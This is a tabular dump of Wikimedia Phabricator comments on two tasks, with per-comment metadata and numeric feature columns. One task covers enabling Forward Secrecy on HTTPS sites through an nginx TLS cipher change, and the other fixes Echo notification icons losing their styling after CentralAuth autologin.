* https://www.ssllabs.com/ssltest/analyze.html?d=wikitech.wikimedia.org",,,1404474258,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,True,,,44,True,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,11.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,27.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,0.0,3.0,22.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,4.756756756756757,0.918918918918919,"wikitech.wikimedia.org also doesn't support Forward Secrecy. 

More importantly, SSL Labs says Wikitech server is ""vulnerable to the OpenSSL CCS vulnerability (CVE-2014-0224) and exploitable"".

* URL"
257504,Add Forward Secrecy to all HTTPS sites,"gerrit.wikimedia.org still does not support Forward Secrecy.

* https://www.ssllabs.com/ssltest/analyze.html?d=gerrit.wikimedia.org",,,1404473729,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,True,,,44,True,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.454545454545454,1.0,"gerrit.wikimedia.org still does not support Forward Secrecy.

* URL"
257498,Add Forward Secrecy to all HTTPS sites,"None of those on gdash differentiate between HTTP and HTTPS. I do not have full graphite access, so the ability to create something that might help may exist.",,,1404242275,,PHID-USER-mdihg2tyzmlvyhn3h32y,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,True,,,43,True,0.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,13.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,19.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,13.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,3.0,13.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,4.225806451612903,0.967741935483871,"None of those on gdash differentiate between HTTP and HTTPS. I do not have full graphite access, so the ability to create something that might help may exist."
257493,Add Forward Secrecy to all HTTPS sites,"(In reply to Jan Zerebecki from comment #11)
> It would be interesting if we could publish an aggregated
> and anonymized analysis of the before and after comparison.

You know about:
* https://gdash.wikimedia.org/dashboards/frontend/ ,
* http://ur1.ca/hn8fi
* and any other graphite graph you may desire,
don't you?",,,1404219335,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,True,,,43,True,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,2.0,0.0,5.0,7.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,7.0,9.0,7.0,2.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.883720930232558,0.7441860465116279,"(In reply to Jan Zerebecki from comment #11)
QUOTE
QUOTE

You know about:
* URL ,
* URL
* and any other graphite graph you may desire,
don't you?"
257489,Add Forward Secrecy to all HTTPS sites,"For the potential impact on HTTPS clients Chris Steipp told me on IRC he looked into what I assume is EventLogging data and later told me that Oliver had done some analysis work on that. I wanted to ask Oliver if he could publish his queries (or SQL and R code or whatever he used), but haven't yet done so (feel free to do that). The idea was also to compare before and after deployment. It would be interesting if we could publish an aggregated and anonymized analysis of the before and after comparison.",,,1404217537,,PHID-USER-mdihg2tyzmlvyhn3h32y,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,True,,,43,True,0.5,0.0,0.0,0.0,1.0,3.5,2.0,0.0,0.0,1.5,0.0,1.0,0.0,0.0,0.0,3.0,0.0,5.5,10.0,0.0,2.5,0.0,0.0,0.0,5.5,0.0,0.0,0.0,1.5,1.0,0.0,2.0,1.5,1.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,2.5,0.5,1.0,0.0,1.0,0.0,0.0,0.0,8.5,1.5,0.5,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,2.5,1.0,0.0,0.0,0.0,0.0,0.0,3.5,2.5,8.0,2.0,6.5,6.5,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.5,10.0,4.0,0.0,0.0,0.0,6.5,0.0,1.5,1.0,1.0,0.0,0.0,0.0,0.0,3.9711538461538463,0.8365384615384615,"For the potential impact on HTTPS clients Chris Steipp told me on IRC he looked into what I assume is EventLogging data and later told me that Oliver had done some analysis work on that. I wanted to ask Oliver if he could publish his queries (or SQL and R code or whatever he used), but haven't yet done so (feel free to do that). The idea was also to compare before and after deployment. It would be interesting if we could publish an aggregated and anonymized analysis of the before and after comparison."
257486,Add Forward Secrecy to all HTTPS sites,The change is now live. Thanks Giuseppe!,,,1404212198,,PHID-USER-u7udgblfyop6qd5wxot6,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,False,,,43,True,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,33.0,0.0,0.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7777777777777777,1.0,The change is now live. Thanks Giuseppe!
257482,Add Forward Secrecy to all HTTPS sites,"Change 132393 merged by Giuseppe Lavagetto:
Improve nginx TLS cipher list & session timeout

https://gerrit.wikimedia.org/r/132393",,,1404209042,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,False,,,43,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,6.0,0.0,0.0,6.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.055555555555555,1.0,"Change 132393 merged by Giuseppe Lavagetto:
Improve nginx TLS cipher list & session timeout

GERRIT_URL"
257477,Add Forward Secrecy to all HTTPS sites,"The load may not be a problem for our servers, but I'd like to know whether there is a potential impact on user experience, and whether an attempt has been made to quantify it.",,,1403913916,,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,False,,,43,True,0.0,0.0,0.0,3.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,5.0,0.0,3.0,16.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,5.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,11.0,8.0,5.0,5.0,5.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,8.0,16.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,3.763157894736842,0.8947368421052632,"The load may not be a problem for our servers, but I'd like to know whether there is a potential impact on user experience, and whether an attempt has been made to quantify it."
257474,Add Forward Secrecy to all HTTPS sites,"Giuseppe tested the settings, proving the load is not a problem, and thanks to this the change is now scheduled for next week!
https://wikitech.wikimedia.org/wiki/Deployments#deploycal-item-20140701T1000",,,1403911156,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,True,,,43,True,0.0,0.0,0.0,4.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,14.0,7.0,7.0,0.0,4.0,18.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,3.857142857142857,0.8571428571428571,"Giuseppe tested the settings, proving the load is not a problem, and thanks to this the change is now scheduled for next week!
URL"
257470,Add Forward Secrecy to all HTTPS sites,"Change 132393 had a related patch set uploaded by MZMcBride:
Improve nginx TLS/SSL settings.

https://gerrit.wikimedia.org/r/132393",,,1400735488,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,False,,,38,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,29.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.380952380952381,1.0,"Change 132393 had a related patch set uploaded by MZMcBride:
Improve nginx TLS/SSL settings.

GERRIT_URL"
257463,Add Forward Secrecy to all HTTPS sites,https://gerrit.wikimedia.org/r/#/c/132393/,,,1399723508,,PHID-USER-mdihg2tyzmlvyhn3h32y,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,True,,,36,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,URL
257458,Add Forward Secrecy to all HTTPS sites,"According to https://wikitech.wikimedia.org/wiki/HTTPS/Future_work this is in the plans already (second bullet), adjusting fields.",,,1387535850,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,True,,,16,True,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,4.0,1.0,"According to URL this is in the plans already (second bullet), adjusting fields."
257453,Add Forward Secrecy to all HTTPS sites,"**ondrej.sered** wrote:

Google is already supporting Forward Secrecy for SSL connections.

The deployment of Forward Secrecy muss be done carefully, especialy when SSL session IDs are used. But SSL session IDs can help reduce the overhead of Forward Secrecy:

https://www.imperialviolet.org/2013/06/27/botchingpfs.html
http://blog.ivanristic.com/2013/06/ssl-labs-deploying-forward-secrecy.html
http://blog.ivanristic.com/2013/08/configuring-apache-nginx-and-openssl-for-forward-secrecy.html
http://blog.ivanristic.com/2013/08/increasing-dhe-strength-on-apache.html

There have been some questions about backdoors in ECDHE ciphers:

https://crypto.stackexchange.com/questions/10263/should-we-trust-the-nist-recommended-ecc-parameters",,,1386755760,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,False,,,15,True,1.0,0.0,0.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,4.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,29.0,1.0,1.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,7.0,21.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,4.194444444444445,0.6527777777777778,"**ondrej.sered** wrote:

Google is already supporting Forward Secrecy for SSL connections.

The deployment of Forward Secrecy muss be done carefully, especialy when SSL session IDs are used. But SSL session IDs can help reduce the overhead of Forward Secrecy:

URL
URL
URL
URL

There have been some questions about backdoors in ECDHE ciphers:

URL"
257449,Add Forward Secrecy to all HTTPS sites,"The blog post [1] explains the ""forward secrecy"" property only adds a +15% in CPU load for ECDHE ciphers, but +300% for simple DHE ciphers. Probably the Operations team should carefully review this bug before activating it for performance reasons. Nowadays only Chromium and Firefox support FS, Opera only supports DHE ciphers and Internet Explorer don’t support FS; I don’t know for Safari.

This other blog post [2] (and blog) explains how Google configured FS: why they chosed ECDHE (this performance reason) and how they configured session tickets.

[1] http://vincent.bernat.im/en/blog/2011-ssl-perfect-forward-secrecy.html
[2] https://www.imperialviolet.org/2011/11/22/forwardsecret.html",,,1377764824,,PHID-USER-2nopae2cxuamwcbndaih,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,False,,,0,True,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.5,0.0,1.0,0.5,7.0,4.0,0.0,0.0,0.5,0.0,0.0,2.5,0.5,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.5,2.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.5,1.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,15.0,2.5,3.5,4.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,0.0,3.0,4.0,9.5,0.0,1.0,0.0,3.0,0.0,2.5,0.5,0.0,0.5,0.0,0.0,2.0,3.97172131147541,0.7515027322404372,"The blog post [1] explains the ""forward secrecy"" property only adds a +15% in CPU load for ECDHE ciphers, but +300% for simple DHE ciphers. Probably the Operations team should carefully review this bug before activating it for performance reasons. Nowadays only Chromium and Firefox support FS, Opera only supports DHE ciphers and Internet Explorer don’t support FS; I don’t know for Safari.

This other blog post [2] (and blog) explains how Google configured FS: why they chosed ECDHE (this performance reason) and how they configured session tickets.

[1] URL
[2] URL"
257444,Add Forward Secrecy to all HTTPS sites,"Where can I find more information? 
https://en.wikipedia.org/wiki/Perfect_forward_secrecy ?",,,1377511226,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,2,True,,,-1,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,10.0,0.0,0.0,20.0,0.0,0.0,10.0,0.0,10.0,0.0,0.0,0.0,10.0,0.0,0.0,3.4,0.9,"Where can I find more information? 
URL ?"
55134,Echo notifications icons (in p-personal) displayed with missing or incorrect style after a CentralAuth autologin,"**Steps to reproduce**
* Create an account
* Log in to [[https://en.wikipedia.org|en.wikipedia.org]]. Might need to select ""keep me logged in"" type settings to set the central auth cookies on loginwiki.
* Visit a wiki on a different second-level domain, such as [[https://en.wikiquote.org|en.wikiquote.org]].

**What happens?**:
* Ping and notice icons are replaced with text like `Alert (0)`. Sometimes the icon styling is missing:
{F11729}
sometimes it is repeated:
{F35784175}
A page refresh fixes the issue.

**What should have happened instead?**:
* Ping and notice icons are normal on first page load. No refresh needed.
{F35784182}

**Other information**
* HTML looks identical.
{F35784192}
* Possible CSS issue. The following appears to be present in the working example and missing in the non working example.
{F35784189}
* Caused by CentralAuth autologin (sometimes) replacing the user toolbar without reloading the page, see `modules/inline/autologin.js`
* That script calls the `centralauth-p-personal-reset` JS hook, which is probably the right place to fix this",Medium,50.0,1377040740,1673314228.0,PHID-USER-5pyvkdz65d5h5vxebodc,False,PHID-USER-4alekd35in5tg53zpsl4,False,PHID-TASK-ipccqgbhra6m6g4otthg,task_description,resolved,True,c2,2,False,False,False,-2,True,0.0,0.0,0.0,0.6666666666666666,0.0,4.0,1.3333333333333333,0.0,0.0,0.0,2.3333333333333335,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,2.0,6.666666666666667,0.0,2.0,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,0.6666666666666666,0.0,0.0,0.3333333333333333,0.0,0.0,3.6666666666666665,1.0,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.6666666666666666,0.0,0.0,0.0,15.333333333333334,0.0,1.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,5.333333333333333,2.3333333333333335,11.666666666666666,0.0,1.0,7.0,0.0,0.0,0.0,0.0,4.333333333333333,0.0,0.0,0.0,0.6666666666666666,6.666666666666667,4.0,0.6666666666666666,0.6666666666666666,0.0,0.6666666666666666,0.0,1.0,1.3333333333333333,0.3333333333333333,2.6666666666666665,0.0,0.0,1.3333333333333333,3.5267251461988303,0.6698245614035088,"**Steps to reproduce**
* Create an account
* Log in to [[URL Might need to select ""keep me logged in"" type settings to set the central auth cookies on loginwiki.
* Visit a wiki on a different second-level domain, such as [[URL

**What happens?**:
* Ping and notice icons are replaced with text like CODE. Sometimes the icon styling is missing:
{F11729}
sometimes it is repeated:
{F35784175}
A page refresh fixes the issue.

**What should have happened instead?**:
* Ping and notice icons are normal on first page load. No refresh needed.
{F35784182}

**Other information**
* HTML looks identical.
{F35784192}
* Possible CSS issue. The following appears to be present in the working example and missing in the non working example.
{F35784189}
* Caused by CentralAuth autologin (sometimes) replacing the user toolbar without reloading the page, see CODE
* That script calls the CODE JS hook, which is probably the right place to fix this"
2046068,Echo notifications icons (in p-personal) displayed with missing or incorrect style after a CentralAuth autologin,Checked on `wmf.17` - works as expected. ,,,1673314228,,PHID-USER-4alekd35in5tg53zpsl4,False,,,PHID-TASK-ipccqgbhra6m6g4otthg,task_subcomment,,True,c2,3,True,,,488,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.75,1.0,Checked on CODE - works as expected. 
2022103,Echo notifications icons (in p-personal) displayed with missing or incorrect style after a CentralAuth autologin,"Change 858697 **merged** by jenkins-bot:
%%%[mediawiki/extensions/Echo@master] Initialize Echo when CentralAuth autologin replaces the user toolbar%%%
https://gerrit.wikimedia.org/r/858697",,,1669021322,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ipccqgbhra6m6g4otthg,task_subcomment,,True,c2,3,False,,,481,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,18.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,9.0,3.0,0.0,0.0,3.0,18.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,4.352941176470588,0.7941176470588235,"Change 858697 **merged** by jenkins-bot:
%%%[mediawiki/extensions/Echo@master] Initialize Echo when CentralAuth autologin replaces the user toolbar%%%
GERRIT_URL"
2021937,Echo notifications icons (in p-personal) displayed with missing or incorrect style after a CentralAuth autologin,"Change 858697 had a related patch set uploaded (by Gergő Tisza; author: Gergő Tisza):
%%%[mediawiki/extensions/Echo@master] Initialize Echo when CentralAuth autologin replaces the user toolbar%%%
https://gerrit.wikimedia.org/r/858697",,,1668929324,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ipccqgbhra6m6g4otthg,task_subcomment,,True,c2,3,False,,,481,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,25.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,0.0,0.0,2.0,25.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,5.0,4.6,0.85,"Change 858697 had a related patch set uploaded (by Gergő Tisza; author: Gergő Tisza):
%%%[mediawiki/extensions/Echo@master] Initialize Echo when CentralAuth autologin replaces the user toolbar%%%
GERRIT_URL"
2019537,Echo notifications icons (in p-personal) displayed with missing or incorrect style after a CentralAuth autologin,">>! In T55134#577962, @Legoktm wrote:
> I think Echo just needs to add a listener to the centralauth-p-personal-reset hook?

Yeah I think we'd have to redo some of `ext.echo.init.js` when that hook is called.",,,1668569551,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-ipccqgbhra6m6g4otthg,task_subcomment,,True,c2,3,True,,,481,True,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,10.0,0.0,5.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,24.0,5.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,5.0,0.0,0.0,10.0,10.0,5.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.238095238095238,0.9523809523809523,"QUOTE
QUOTE

Yeah I think we'd have to redo some of CODE when that hook is called."
2019536,Echo notifications icons (in p-personal) displayed with missing or incorrect style after a CentralAuth autologin,">>! In T55134#577962, @Legoktm wrote:
> I think Echo just needs to add a listener to the centralauth-p-personal-reset hook?

Yeah I think we'd have to redo some of `modules/ext.echo.init.js` when that hook is called.",,,1668569532,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-ipccqgbhra6m6g4otthg,task_subcomment,,True,c2,3,True,,,481,True,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,10.0,0.0,5.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,24.0,5.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,5.0,0.0,0.0,10.0,10.0,5.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.238095238095238,0.9523809523809523,"QUOTE
QUOTE

Yeah I think we'd have to redo some of CODE when that hook is called."
